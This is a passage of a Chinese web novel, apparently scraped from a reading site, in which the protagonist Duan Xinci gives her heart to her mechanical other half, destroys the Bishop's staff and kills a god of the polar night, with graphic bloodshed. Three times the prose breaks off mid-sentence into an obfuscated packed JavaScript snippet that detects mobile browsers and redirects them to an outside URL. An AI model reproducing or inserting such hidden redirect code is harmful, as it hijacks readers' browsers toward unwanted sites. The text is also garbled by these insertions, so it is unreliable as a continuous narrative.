深红的瞳孔在这里熄灭,变回晦暗的黑。她的视线由此变得和人一样,只能看见模糊的影。也就无法得知照明灯开关究竟在何处。 她在玄关处停住。 冰冷的吐息附在玄发青年身后,一双手臂由后至前环住她的肩。 那温度比死者还冷。 “好久不见。” 26. 活着比死亡还苦 段心慈的心肺有片刻震颤。 “见到我,你不高兴吗?” “…我……很抱歉。” 段心慈的声音很模糊:“我……” 这一次轮到对方哑口无言:‘抱歉?’ ‘又是这句话。’ ‘明明最该死的是我啊……’ 冰冷的手臂越环越紧:“你在道什么歉呢?” 如潮水上涌的窒息淹没段心慈。并非源自生理,而是灵魂层面的愧疚。 那份愧疚几乎让她要把内脏都吐出来。 ‘我当初真的,真的,全然无法活下去吗?’ ‘或者说,我明明有更好的,更温和的解决办法不是吗……’ 她感到厌倦和疲惫,因此逃避。 而逃避的代价太沉重。 大可以不那么激进的死去,而不是剩一堆烂摊子留给那个从营养仓里苏醒的「自我」。 说到底这样的抉择无愧于任何,除了…… 作为她灵魂的延续的那个段心慈。 她的半身。 压下胃里翻腾的呕意,长发青年尽量让自己看起来好一些:“我在来见你的路上,杀了一个濒死的玩家。” “只是因为这个?” 那1/2的灵魂显然不能理解:“你做什么都是对的。” “……” ‘当然不是因为这个。是无法说出口的愧疚。’ 她杀的玩家成千上万或许更多,如果每杀一个都要感到抱歉…… 段心慈仅是试想就感到诡异。 “你买了花?” 半身的语气听上去有些高兴。 这让青年意识到黄玫瑰这件事就是个错误。 她迟钝地想到,对于那个人而言如果不是红玫瑰,自己不应该带任何花走进这扇门。 为时已晚。 另一个「自我」可不会在这勉强算得上家的地方特意关掉视觉。 “…黄玫瑰?” “我很喜欢。” 「自我」伸手接过花放在一旁,她在笑。 很温和。 温和的像要死去。紧紧桎梏在段心慈脖颈的手臂却越加禁锢。 “……” ‘错误。又是错误。’ ‘我要在同一个人身上犯多少错?’ 段心慈没有感觉到疼痛。 虽然被半身禁锢要害,但实话说那些力道都作用在对方的手臂上。 说到底她只是被虚假地困住,随时能够抽身。 愧疚说,再停留一下吧。 不要让身后那个人的泪水滴在你的后颈。 于是段心慈没有动弹,只是轻轻向后仰了仰,撞进身后人温冷的胸膛。 半身沉默地低下头,顺势将额头抵在段心慈的颈窝。 她们连身高都分毫不差。 ‘亲爱的,你这样好却不肯施舍一些爱给我。’ ‘我的灵魂只会死得更快。’ “段心慈。” “什么事?”半身的声音有些沉闷。 “我今天见到T.T-Carro了。” “我记得。那只黑猫。” 另二分之一的灵魂显然对聊起【暴食】T.T-Carro的兴趣不大。 段心慈竭力使自己的声音听上去足够平静:“它的异化比我上一次见到…” “更加严重了。” 半身将额头抵在她的后颈:“……嗯。” “我是说,你……” 青年不想装作一无所知。她拉开对方搭在自己肩膀的手臂,回握住那双冰冷的僵硬又微微颤抖的手腕:“你的异化。” 段心慈看向「自我」。那双眼瞳没有和黑暗融为一体,反倒让人心惊。 “为什么不肯让我分担?” “……” 半身的神情有些古怪:“我不想和你说的。” “况且,我以为你不会在意。” 毕竟段心慈自己也在异化——精神世界中inK陷入无尽沉睡,形态也在逐渐异变。 如果没什么意外大概是永远不会苏醒,又或者异变成一个谁也不知道的生物。 而她自己… “你确定?”她有些迟疑。 段心慈看向近在咫尺的熟悉的面庞。 或许她的半身可能认为自己表现得足够正常。 但青年还是一眼就看透那双同自己如出一辙的眼瞳里,酝酿的可怕风暴、占有欲望以及迫不及待剖析「自我」的疯狂。 她知道自己再没有拒绝的余地了。 “我确定。” 闻言半身几乎是热切地,将段心慈按在地板上,一只手揽住青年的后腰:“亲爱的,把我的上衣解开。” 段心慈:“……” ‘我不是一无所知的人类繁衍行为白痴。’ ‘「自我」,小心你的用词。你现在说话很诡异。’ 她心里这样琢磨,还是伸手解开眼前人的外套,随后是衬衫。上衣褪下,露出极具力量与美感的胸膛。 胸前,半截牌式吊坠在黑暗里泛着微弱的亮光,血肉与机械的心脏纹路镌刻在一起。 那二分之一的灵魂与她机械的躯壳,贴在段心慈耳边喃喃低语:“亲爱的,摸一摸我的心。” 段心慈没有犹豫很久。 冰冷的手指贴上对方的左胸,长发青年发誓自己有在忽视这份过于怪异的氛围。 不过很快她就不用忽视了。 半身托起她的手,指尖陷进同样冷的肌肉。 她没有停下来。随着一缕温热的鲜血顺着段心慈手腕坠落,腥甜的血锈瞬间蔓延。 段心慈的手一动不动。 她能看见黑暗里蜿蜒的血迹,感受得到鼻腔里腥甜的气味。以及手上传来黏稠温冷的血肉质感。 长发青年的大脑一片空白,这些感官几乎快要把她活活逼疯。 半身还在动作。 她毫不犹豫地掰开自己左胸的两根肋骨,以便接下来段心慈手掌进入。 “……你。” 段心慈只说了一个字就说不下去了。她被身后的墙冰得打了个冷战,浑浑噩噩的思维最终得以艰难运转:“你在、做、什么……”? 对方或许回答她了,又或许没有。 问完这句话以后,青年觉得头昏得更厉害。那种想吐的感觉再次涌上胃部。 她不能把手撤出来,无论是害怕二次伤害,还是「自我」此时此刻的状态。她做不到。 ‘放纵吧。索性要做什么都由她。’ 段心慈控制着不让自己颤抖得厉害。 那种煎熬的感觉不知道过了多久,或许是一瞬,又或者再久一些。 她再次听见半身担忧的声音:“……亲爱的?” “别难过。只是一颗心脏。” “……” 段心慈重新聚焦自己的视线,落在自己手中。 那是一颗仿生心脏,她再熟悉不过。 就在战死的前一个夜晚。 她把这颗死寂的心脏放进眼前这个人的胸腔,亲眼看着它从沉默到逐渐缓慢地跳动,越来越趋于匀速,越来越坚定有力。 关上营养仓的透明翻盖,尚有温度的手指划过那形似棺椁的边缘,随后青年疲惫地靠坐在营养仓的外侧。 她二分之一的灵魂就这样安安静静地躺在那具机械的躯壳里。 或许会醒来。 又或许永远不会醒来。 那一整个晚上她都没有从墓室里走出。 整晚,段心慈听着这颗心脏有力的声音,难得好梦。 第二天,她如自己最开始设想的那样死去。临死前,她还惦记着那颗心脏,那具同自己如出一辙的躯体。 她希望她永远不要醒来,这意味着没有战争,人类生存的火种不曾风中飘摇。 ……又希望她能有机会醒来,好替自己看一眼这个没有病痛的世界。 她还是醒来了。甚至走到自己的面前。 直至段心慈第二次将这颗心脏捧在手里。 “异化。” 段心慈看得出。 原本纯白的机械心脏外壳如今裹上一层薄薄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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段心慈在半身惊悚至极的目光中,干脆地脱下自己的外套扔在一旁,衬衫被扯得松散。 “我没有那种爱给你。” 她像是在哭,又像在朗读一种格外无情的宣言。 沾染「自我」血液的手,再次插进她的胸腔。 青年的动作很粗暴,两侧肋骨被扯得摇摇欲坠。 鲜红的、还在跳动的心脏被蛮力拽出。 半身睁大眼睛,身体比意识先一步行动,她几乎是狼狈地,磕磕绊绊地跪行着靠近自己爱的人。 淅淅沥沥的血从那颗鲜活的心脏里迸溅,淋在机械躯壳苍白的面颊,和那双颤抖的手中。 “心脏归你。” 血是温冷的,那颗带着段心慈体温的心脏坠落,半身几乎是下意识伸手去接。 不能让爱人的心脏沾染尘埃,是她此刻唯一的念头。 代号十里,只有少数玩家的要害是心脏。 段心慈就是其中之一。 她是人,正儿八经的人类。 现在,这仅剩的能彻底杀死青年事物被她亲手交付。 心脏离开胸腔的疼痛她后知后觉,空洞的冷意蔓延在血管里。 段心慈没有后悔。 这决心迟来得太久,只要是「自我」,她可以心甘情愿赴死。可以选择放弃任何,包括向时间复仇,以及活下去的念头。 生死全然掌控在对方的手中,段心慈只感到一种隐晦的心满意足。 长发青年伸手摸了摸半身的面颊,没有半分狎昵只有珍而重之的轻抚。 这是她一手创造的躯壳,魂灵是她的二分之一。 又怎么会忍心让她有所求而不得。 “……段心慈。” 半身那双苍白、骨节分明的手在战栗,宛如囚笼的十指困住那颗还在搏动的心脏。 “……段心慈。” “……段……心慈……” 不知过了多久,那二分之一的灵魂反复念着这个对她而言像咒语一样,亲昵而陌生的名字。 她缓缓抬头。 仿生面孔上不见悲伤,只有癫狂的笑意。 27. 昼夜的福祸相依 “亲爱的……” 她膝行两步上前,靠向段心慈。 左手捧起那颗心的同时,右手横向扯开下腹,皮肉翻卷,黏腻的血液流淌一地。青年将那颗鲜血淋漓的心脏融进「自我」的宫殿。 在这一幕发生前,她一直以为自己不会有用上这个器官的一天。 “我怎么会杀死你?” “段心慈,和我在一起吧?以任何方式。” 撕裂的血肉快速愈合,跳动的心脏被子宫与皮肉吞噬。一点、一点消失在段心慈的视线中。 被血液浸透的掌心缓缓贴上青年冰凉的面颊。 看着那张终于染上自己血液的面容,空洞而绝望的眼瞳,被段心慈亲手分出去的二分之一灵魂,吻了吻爱人因流血过多而失温的唇。 很轻,带着彼此相同的体温与血腥。 “你的眼里不会只有我。”她说。 段心慈像僵硬的木偶,一帧一帧缓缓侧过脸。 生涩的回吻落在半身温冷的唇边。 ‘但愿我能懂你。’ ‘……倘若我能爱你。’ * “这么快?!” 躺在猫屋晦涩难明的预言阵里【暴食】甩了甩身后漆黑毛绒的尾巴。 它对段心慈仅在三小时后就出现自己面前这件事深感震惊,星空紫的猫眼睁大:“你知道吗?我给了你整整三天。” “TOP!你真的会把自己累死的。” ‘那可真是最令人失望的一种死法了。’ 玄发青年心里这样想着。 “……说正事。” 她清楚地知道眼前的黑猫比自己好不到哪里去。 “呐,我知道……” T.T-Carro站起身。不发疯的时候它绝对是一只体态纤长优雅的猫,说话的语气也不紧不慢,透着一股子雍容劲儿:“你这次回来,还是要开启【觐神宴】的。” “是。” 段心慈直截了当地承认。 【觐神宴】。 顾名思义,一场为觐见神明而举办的盛宴。 全体玩家刷满副本总值达到百万,【觐神宴】就会自动开启。 共计十幕叠加演出,副本壁垒叠加,就算是时间亲临也无法破开。 只有活到最后的赢家才能够获得走到神祇面前,提出要求的资格:无论是离开、留下,或是获得难以想象的好处。 时间必将应许。 能进入【觐神宴】副本世界参加角逐的,除开TOP榜前十必须要参加外—— 其余玩家可以通过缴纳账户内全部金币以及在代号十内的固定资产,也就是通俗意义上的倾家荡产选择性参加。 而距离上一次【觐神宴】开启,仅仅过去了1年。 “不知道是要说你锲而不舍好,还是说你这个人足够狂妄自大?”猫的尾巴盘住自己,显得格外端正。 段心慈对T.T-Carro的评价不置可否。 黑猫低低叹息一声。 那对紫色的浩瀚星空低下,俯瞰自己面前渺小的人类:“你不是第一个想要结束这里的。” 腐烂的骨头和被蛆虫蛀噬的内脏、矫健的身姿以及油光水滑的皮毛,两种截然不同的状态相互交替显现。 一瞬生一瞬死,在这头庞然大物身上体现得淋漓尽致。 “同盟一场,尽管希望渺茫。我仍愿你会是最后一个。” 段心慈:“我会是的。” T.T-Carro盯了她许久,最后它从那双三重颜色交叠的虹膜中看见绝不在时间中苟活的决心。 “……勇气可嘉。” “交易还是与从前一样。我被禁止进入【觐神宴】…你……帮我带她回来。” “如何保证【预言师】一定会出现?” 上一次【觐神宴】段心慈并没有遇到这位前届TOP.1,这一次更不能保证。 “不是上一次,就是这一次。” ‘是诅咒?还是预言?’ 段心慈心底揣摩,面上不显。 “我知道她没有死在那里……去带我唯一的同伴回来!”两行黑红的血泪顺着黑猫森森白骨的泪沟淌下。 猫屋里,T.T-Carro的悲鸣凄厉地回荡:“带她回来……我会给你!你要的诅咒。” “好。” 青年听见自己作出承诺:“活能见人,死能见尸。” “……你可以走了。” 【暴食】喘息着,再度恢复冷静:“去尽力而为……” 它痛苦地闭上眼:“也别死了。” 满是血污的打绺毛领里,一枚干净、完好无损的小鱼木雕吊坠若隐若现。黑猫将那枚小鱼从脖颈上扒下来扔给青年。 段心慈下意识抬手接住飞来的木雕。 “带着,她会记得。” T.T-Carro没有说这是一件被动触发道具。能够替持有者挡下致命一击。并且是概念型的致命。 它默默念着:‘别死了。’ ‘别像那个一去不回的家伙一样……’ ‘说着保证的话,最后一丝音讯也无。’ ‘我不能再承受什么死亡!什么失踪!’ ‘说着什么一定会赢下,一定会幸福的话然后抛下活着的生命…!’ 段心慈摩挲着木雕的手微微停顿。 深知那个人对于T.T-Carro的重要性,对于T.T-Carro没让她死了也要把人带出来—— 这位玩家首席多少感到有些诧异:“我会尽力。” 黑猫:“……离开吧。” 对于T.T-Carro忽晴忽阴的情绪段心慈适应良好,她离开前还记得挥挥手:“好好休息。” 【暴食】看着渐行渐远的背影,记忆里浮现出另一个人模糊的容貌:“……哈,就日常连道别的话都这么像…” “谁是最棒的小猫?” “是我们的Carro老大!” “呐,T.T-Carro,我们永远是最好的朋友。” “Carro老大,好好休息。” “我会赢下,那时我们回家。” T.T-Carro尽力不去回忆,但黑红的腐血却无论如何都止不住地往下流。 ‘顾屿…我已经!’ ‘……快记不清你的脸了。’ 柔软的猫舌舔过唇畔。 那血既不腥涩也不作呕。只是苦。 * 段心慈离开猫屋。 截止到现在位置,她手里仍然没有什么武器。 ‘算了,没有就没有吧。’ 青年豁达:‘武器可以在打斗现场抢对手的,这样看有没有也不是很重要。’ 至少比找到【主教】更重要。 在再次开启【觐神宴】之前,她务必要先行清除【主教】,这个被代号十安排在玩家之间的钉子。 想来【主教】和她一样恨不得将彼此除之而后快。 和前百玩家的私署剧场不同,作为【极夜殿堂】的掌管者,【主教】的副本剧场实际上作为大型共有剧场存在。 玩家可以在其中接取任务,或演绎【极夜殿堂】指定的剧目。 就是说,她想要见到【主教】,就必然不会像见到T.T-Carro那样轻而易举。 也没有那么难。 伫立在宏伟的尖顶极光宫殿前,段心慈一边在心里评价,一边踏碎【极夜殿堂】的剧场壁垒,顶着极夜教众们惊恐的目光堂而皇之地走进大殿。 映入长发青年眼中的是一个繁复的、代号十整体形象格格不入的世界—— 树干一样高耸连到穹顶的雕花立柱,黑铁板上刻印着凹凸的或意义不明的花纹。 还有来来去去或低声祈祷的教众。 犹若夜幕垂落一样的祷词清晰可辨—— “衷心的,温顺的,信者。” 高大的穹顶下身穿蓝袍与绿袍的教众们闭上眼,面色和平。双手交叠放在胸前。 “极光永驻的夜色永远笼罩祂虔诚的信徒……” “愿极夜降临众生于世……” 这些代号十玩家口中念念有词,全然信任自己供奉的神,没有半分违抗之意。 “叫相信与侍奉祂的信者,行于夜幕……” “…不必恐惧死亡的追赶……” 段心慈质疑这样的祷词是否真实有用。这不是她第一次进入极夜殿堂内部,但不过百年时间,这些教众却已经换得她全都不认得了。 是叛教还是死去尚不可得知。 也可能是被【主教】当成补品吸干了。 呢喃祷词传进闯入者耳中,肃穆庄严的神语里,但凡踏进这里的灵魂意志稍有动摇,恐怕会当场放下屠刀加入这些神情好似羔羊的教众。 可惜段心慈目标明确,她不是来加入这群待宰羔羊的。 自始至终,她出现在这里只为此行唯一的目的—— 杀死【主教】。 与此同时,觉察剧场被外力强行损毁的极夜主教拿起手边真正的黑曜石权杖站起身。 皮鞋走过深蓝与纯白相间的正菱形瓷砖地面,发出清脆的回音。【主教】单手握着用黄金衬托的黑曜石权杖现身。 苍老枯瘦的手从宽大袖口里探出,来者手心翻覆的瞬间极夜殿堂内的教众完全消失,就连供奉的祭坛也随之不见。 空旷的殿堂内只有立柱依旧承托着暗色的穹顶,好似先前来来往往的热闹只是幻觉。 没有任何多余的招呼,黑曜石权杖被重重戳在地上—— 蓝白相间的瓷砖尽数崩碎,数条开裂的沟壑直奔青年脚下。 段心慈不需要思考就知道这次的权杖一定是真货,毕竟从黑曜石上感受到的威力无法造假。被这样的攻击打中,不死也要断条腿。 玄发青年原地跃起,硬是踩在花纹繁复的立柱上,向上飞奔两步,在接近穹顶的瞬间用力一蹬,自空中跃下。 凭借强大的肉身力量,在即将头朝下落地的前一刻强行扭转身形,飘摇的腰带在身后呈现凌厉的半圆形弧度—— 【主教】全身僵硬,他与段心慈猩红的瞳孔正正对上,仿佛置身冰窖。 老者无法用言语去形容这双眼睛。与其说是人的,更像是属于一头野兽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509255|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一头登临神座的野兽。 段心慈从来不会给对手留什么思考空间,她抬腿就是一记横扫—— 强悍的力道下【主教】生生被青年从大殿的一端踢到另一端,直至撞上墙壁才堪堪停下。 本就枯瘦的胸骨肉眼可见凹陷,然而黑曜石权杖的光芒闪过,【主教】的胸骨再次恢复原样。 “啧。” 段心慈居高临下地看着这一幕。 ‘我怎么就没有这么好的治愈道具?’ 疑惑归疑惑,没给对手半点喘息时间,暴力的攻击紧随其后。 青年五指成爪,直取【主教】的脖颈。 巨大的撞击声响起,老者在紧急关头挥起权杖,拦下这致命一击。 段心慈目光锐利,死死扣住权杖,寸步不让。 “…TOP,你也知道我的身份。” 【主教】的额头滑落一丝冷汗,他尽力使自己看起来胜券在握一些:“聪明人知道,有时候不能闹太僵,嗯?” 段心慈没接话,只是握住铁权杖的手更加用力。骨节分明的手指关节泛白,手背青筋绷起。 “……段心慈,不要和神作对。” 【主教】声音苍老,劝诫里是明晃晃的威胁。 “你是人,人注定斗不过神。” 有黑曜石的铁权杖在手,【主教】底气更加充沛。 段心慈不语,只是暗暗加重手下力量。散乱的碎发贴在她额前,精致锋利的面容上浮现一丝癫狂与扭曲参杂的喜悦之意。 ‘护主的,就死在你的主之前吧!’ ‘咔嚓’一声,细微的脆响里【主教】心脏微微颤抖。 ‘这是什么声音……不不不,不会的!’ ‘这是极夜之神传承了五十余代主教的黑曜石权杖……怎么能!’ 象征崩毁的声音越来越大,无论【主教】愿不愿意相信,在段心慈锲而不舍地向内施加压力后—— 象征极夜,用黄金包裹,以黑铁筑就的权杖从中心一分为二就此断裂。 权杖顶端的黑曜石急速下坠,【主教】颤抖着伸出苍老的手掌。 这是老者第一次将那双形似枯槁的手完完全全伸出袖袍,妄图接下那最后一点象征极夜的权威。 段心慈冰冷的眼睛始终注视着【主教】。 就在黑曜石即将坠进他布满皱纹的手心,属于段心慈的、像厉鬼苍白的手伸出—— 两指向中间施压,于是最后的希望彻底化作齑粉。 黑曜石粉末细细簌簌地流进【主教】掌心,在光亮下竟泛出细小的虹彩。 “……哈…………哈哈哈哈哈哈…!”癫狂的笑声从【主教】如破烂风箱一样的喉管里发出。 他不能接受这个结局……! 一个完全错误的效忠…带走了自己大半生的虔诚。 ‘供奉的神都背弃了自己的职责所在,那供奉神祇的我!’ ‘顶着【主教】的头衔,甚至遗忘自己的又算是什么?!’ “……笑话,都是笑话……” “晚了!太晚了……一切都太晚!” 极夜真理之一:【极夜之后,仍有白昼】 直到这颗被世代精心供奉的黑曜石被段心慈一手掐碎,无情地任由这些粉末流逝。 最后一位供奉它的主教才终于明白一切错误的根源在于极夜的主神,背叛了极夜。 至此,他们行于夜色,终日被死亡笼罩。 段心慈眼中无悲无喜。 她知道自己无需再另外杀死【主教】。 老者的性命早已在漫长、数不尽的岁月浸润中同这颗镶嵌于权杖顶端的黑曜石福祸相依,生死与共。 这是他的选择。 即便错误,必须承担。 老人仰面倒下,胸膛不知何时失去起伏。 浑浊的眼珠映不出穹顶的精美与华丽。直到死,他手里都还半握着一小撮熠熠生辉的黑曜石粉末。 段心慈转过身离开,大衣带起空气流动吹散粉末。最终,死后的【主教】到底什么也没能抓住。 但临死的那一刻,他确确实实地得到过瞬间,最真实也最接近极夜的领悟—— 【极夜之后,仍有白昼】 【极昼之前,暗夜不朽】 这墨蓝与纯白相互交织的瓷砖地面就是最好的证明。 至此,玩家TOP榜第二位:【主教】。死亡。 TOP.2席位空缺。 直至有玩家胆敢挑战TOP.3【织觉人】忒尼斯·厄洛诺斯,为赢下这一席位。 ‘这世上真的有神吗?’ 段心慈不知道。 ‘神是被臆想出来的吗?’ 在没有真正见到神之前,她也无法回答。 ‘是否足够强大的生灵就被称为神?’ 这可能是一个哲学问题,段心慈自认她在哲学方面没什么天赋。 她只知道,上千年的恩怨似乎在此刻暂时告一段落…… ……了吗? 一柄黑色泛着蓝绿流光的弯刀穿透段心慈左胸。尖锐的刃尖在深灰大衣前,明晃晃地彰显着自己的存在感。 28. 投石问路的诀窍 血珠顺着弯刀的弧度滚落在地上,汇积成一小摊殷红血洼。 明明是空无一物的大殿,青年却隐隐察觉到有什么更尖锐也更隐秘的东西,在暗处逼近。 如果她没有交付那颗心脏,如今躺在这里的就会是一具泛凉的尸体。 “……真是意外。” ‘原来等在这里啊……’ 追溯剧烈的痛感,段心慈反手摸到那把插在后心的冰冷刀柄。心口的贯穿伤依旧在不断地淌着血,但青年浑然不在意。 她极快极稳地握住刀柄将染血的弯刀从体内抽离,在计算来时轨迹后向大殿某处甩出。 阴翳的目光死死注视,直至刀身砸在瓷砖地面,拉出一阵尖锐刺耳的刮擦声。 就好似什么也没有碰到,一切也再正常不过。 但冥冥中,杀戮的直觉告诉她已经有什么物体被击中。 暗处,极夜之神倒吸一口凉气。 极光游曳的半透明深蓝色胸膛正中插着方才捅穿段心慈胸口的那柄弯刀。 拇指拭过胸口,指腹上深蓝混着幽绿的血看得祂眉头紧蹙。 由夜幕极光铸就的弯刀是无论如何都无法伤到持有者的。哪怕对方是什么见鬼的最强者、玩家榜TOP.1。 这一幕显然是出现超出自身预料的事。 时间那个目空一切的疯子,究竟瞒了祂多少? 说好弱点是心脏呢? 为了不失手,祂甚至向绿赛图斯确认过刺杀目标的心脏百分百是长在左边。 “……祢在做什么啊。” 一道无比阴冷森然的声音在极夜之神背后响起。 祂呼吸一窒,匆匆回过头,对上一双被杀意充斥的眼目—— 边缘薄薄的中灰,以及被漆黑死锁窜动流淌的猩红…… “三重真理?!” 极夜难以置信:“祢的心脏……” ‘时间到底在做什么?!’ 祂知道绿赛图斯一直在消磨半神不假,但对方到底是抽了哪门子的疯要去招惹一位三重真理? 而在祂身后,段心慈早已如幽灵般悄无声息地接近。 冰冷的五指握上刀柄,玄发青年以迅电不及瞑目之势抽出那把插进极夜之神胸膛的弯刀,空中飞溅的血珠没能阻碍她的视野。 一前一后,两把弯刀形如闪电—— 刺目的神血霎时飞溅。 刀光交错的瞬间极夜之神庞大的躯体被一分为二。 被弯刀斩断腰际的那一刻,极夜终于知道时间之神派祂刺杀段心慈的意图。 也许连投石问路的石子都算不上,最多是用来探明段心慈实力的一次性道具罢了。 可笑的是祂还沾沾自喜,以为能够得到时间的重用…… ‘……三重真理。’ 时间之神居然派祂来刺杀这样一位怪物。 ‘还真是,看得起我……’ 极夜苦笑一声。 如果是普通的半神也罢,但仅仅是半步真理居然能斩杀全盛时期的祂,怪不得时间会忌惮。 和时间真理同一级别的真理…会是什么…… 思考的时间被死亡剥夺,神祇的意识也彻底泯灭。在祂遵从代号十统治者的指令,对那片宇宙露出獠牙的那一日起,死亡就成为定数。 斩杀的整个过程不超过三息,极夜之神死不瞑目。 段心慈眼睫低垂,俯视地上一分为二的尸体:“我的心脏,可是在…她的……身体里啊。” “她的心脏,可是在我的身体里啊!” 那二分之一灵魂似癫狂似喜悦地勾过段心慈的臂弯。 于是段心慈也被迫举起弯刀:“……?” 半神仰头高举弯刀,任由流动的神血滴落在自己苍白的面孔上,吟诵着。 “亲爱的……” “我的爱人…” “我的半身……” 她侧过脸望向身旁的玄发青年,摇摇欲坠的极夜神血恰巧落在那副躯壳的眼尾,顺着面颊的弧度淌下。 从远处看像一行诡谲的泪。 观看剧场直播的场外玩家纷纷打了个冷战,首席大人是彻底疯了打算拿他们祭天吗…好诡异…… 段心慈冰凉的指腹抹去半身面颊上蓝绿交杂的神血,目光晦涩。 ‘……如果这世界上真的有神,为什么不能有我一个?’ 她们从躯壳到灵魂再次重叠,如同某种未能定义的怪异胶质由内自外地融为一体。 ‘成为神祇……就不会陷入无止境的杀戮,被利用、被蒙蔽的循环了吧……’ 她会拥有漫长无止境的时间,去探索,去追逐。 明白何为意义,知晓如何去爱。 段心慈跨步走出极夜剧场大门。 下个瞬间,极夜的剧场彻底消散。 恢宏繁杂的精美穹顶消失在那些仓皇奔走信众的头顶,他们顿时乱作一团。 所有玩家都知道,TOP.2【主教】败了。 死亡降临的时刻,他们的神也不能庇护自己的信徒。 有的玩家早有预感,有的玩家难以接受。 看见那件被血洇湿的外套时众玩家的第一反应不是段心慈受伤了,而是:TOP今天又杀了几个? “段心慈,你杀死了【主教】。我要和你拼命。” 人群里,一道声音突兀响起。她这话像是在朗诵,不仅听不出对【主教】逝世的伤感甚至还有一丝若有似无的激动之情。 段心慈顺着声音看去,对上一双野心勃勃的眼睛。 新晋TOP.8—— 【死者】-维莉亚·涅挪。 ‘…这是看见我受伤了,觉得有机会杀死我?’ ‘还有,拼命光是嘴上说有什么用?’ 段心慈停下脚步,有些好奇这位新上任的TOP.8究竟要怎么和她拼命。 而在场玩家们早就把这说话的傻愣子在心里骂了不止八百遍。 ‘要拼命就拼啊。大庭广众诗朗诵,是要做什么?’ 这是质疑谴责的。 ‘TOP不要停下来,继续往前走好吗,我要吓死了。’ 这是被吓晕的。 ‘谁想死想这么个别出心裁的法儿?别带上我…’ 这是想独善其身的。 ‘别光说不做啊,大家都等着瞧呢。’ 这是凑热闹,幸灾乐祸的。 一时间,所有玩家的脸上如打翻的颜料盘,可谓五颜六色。 而原本正有此意的玩家们却的的确确被这句话煽动了。 几位极夜信众相互对视一眼,齐齐向段心慈攻去。 没人看清青年究竟是怎么出手的,场上瞬间多出四具扭断脖子的尸体。 这下再没有谁胆敢上前了。那是妥妥的傻瓜站着等人杀。就连四周的议论声都消失,空气静悄悄的一片。 段心慈晦暗虹膜微微下沉。她有些困惑于【主教】那个每天都随机吃掉一两个教众的老东西居然这么受欢迎。 见此围观群众齐刷刷后退N步:‘……这根本就是恐吓,是吧!’ 临走前青年听见人群里有玩家在积极推荐这些死了神祇的教众们另一个信仰。 她顺着声音的方向回头望去,发现正是刚才喊出那句“我要和你拼命”像诗朗诵一样的维莉亚·涅挪。 段心慈:‘……’ 在代号十被利用是常态。 这次她被TOP.8【死者】用来在招揽势力前进行一次提纯。 毕竟敢于为极夜赴死的一定不会对【死者】忠心耿耿,但不一定会拒绝新组织为招揽无偿赠送他们的金币。 这点小小的插曲段心慈全然没放在心上。 毕竟这种事也不是第一次发生,无损她的个人利益也就随这些玩家去了。 她只是感慨代号十里杂七杂八的杂鱼信仰还挺多。希望新出现的不管是什么殿什么堂,都不会比前一秒倒台的极夜殿堂更邪诡就是了。 把教众当补品吃的主教真的很少见,把主教当补品吃的……更少见。 那是神吗? 段心慈不知道。 反正挺邪门的。 在她了解的一些本源星或是世界神话历史里还从没有听说过把主教当补品吃的神祇,但她对神话本身也知之甚少,因此痛失参考意义。 【主教】到死都没有怀疑过自己不正常的衰老和他呕心沥血供奉的极夜之神有关,只以为是错误践行极夜真理的缘故。 现今那位TOP.10所说的‘无知者最幸福’在极夜教众与他们的主教身上具现。 但这一切都和段心慈关系不大,她开启了刷剧场模式。 九十多万个副本,无论如何她都决心要在一个月里打完。 段心慈的直播间陷入开启-三秒后-关闭-开启-三秒后-关闭的循环往复模式。 非是三秒通关一个剧场,而是三秒拆卸一个剧场。 然而这样通关方式下,玩家拿到的副本评级只有最低级的F-,就连3S级别难度的副本通关,金币也只有少得可怜的十万。 但在段心慈看来既然代号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509256|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十将暴力拆卸视作通关方式的一种,她就绝不会放弃这个速通的机会。 多数玩家私下评价:“如果觉得生活没意思那就去关注TOP的直播间,效果堪比爆米花电影。” 没有任何提心吊胆,只有满屏幕怪物的血,或者并不重要的内脏什么的。副本世界崩塌,下一个剧场紧随其后。 段心慈对这样的生活感到诡异的满意,这样想着全身是血的青年纵身跃进下一场副本。 灵魂的特质注定她在杀戮这条道上不会感到疲倦。 * 忒尼斯捧着一桶香气扑鼻爆米花坐在段心慈直播的大荧幕前,腮帮发出咔嚓嚓的咀嚼声:“你说……” “我你联手杀死TOP,怎么样?” “在【觐神宴】里?” 卡利安想了想,客观评价道:“风险很大。” “我知道,我知道。” “但是我没有不去杀她的理由。”忒尼斯抱怨地看着爆米花:“她让这里的一切都变了。变得我不适应。” 卡利安敏锐地察觉忒尼斯的未尽之言:“包括你自己。” “……别这么没情商,【虔诚者】。她为什么不肯…咔嚓嚓……像我们一样?” 卡利安重复了一遍【织觉人】的提问:“像我们一样?” “对,像我们一样安于现状。” “……安于现状?” 卡利安笑了,他仰靠在红绒布观影椅的椅背上:“忒尼斯家主,你是说我们两个?” ‘咔嚓嚓。’ “…对。我们、太安分了。” 忒尼斯一边说着,一边顺手抓起大把爆米花塞进旁边眼馋了许久的蝰蛇嘴里。 蝰蛇张大嘴巴三口两口吞下爆米花,继续锲而不舍地用渴望的目光看向主脑。 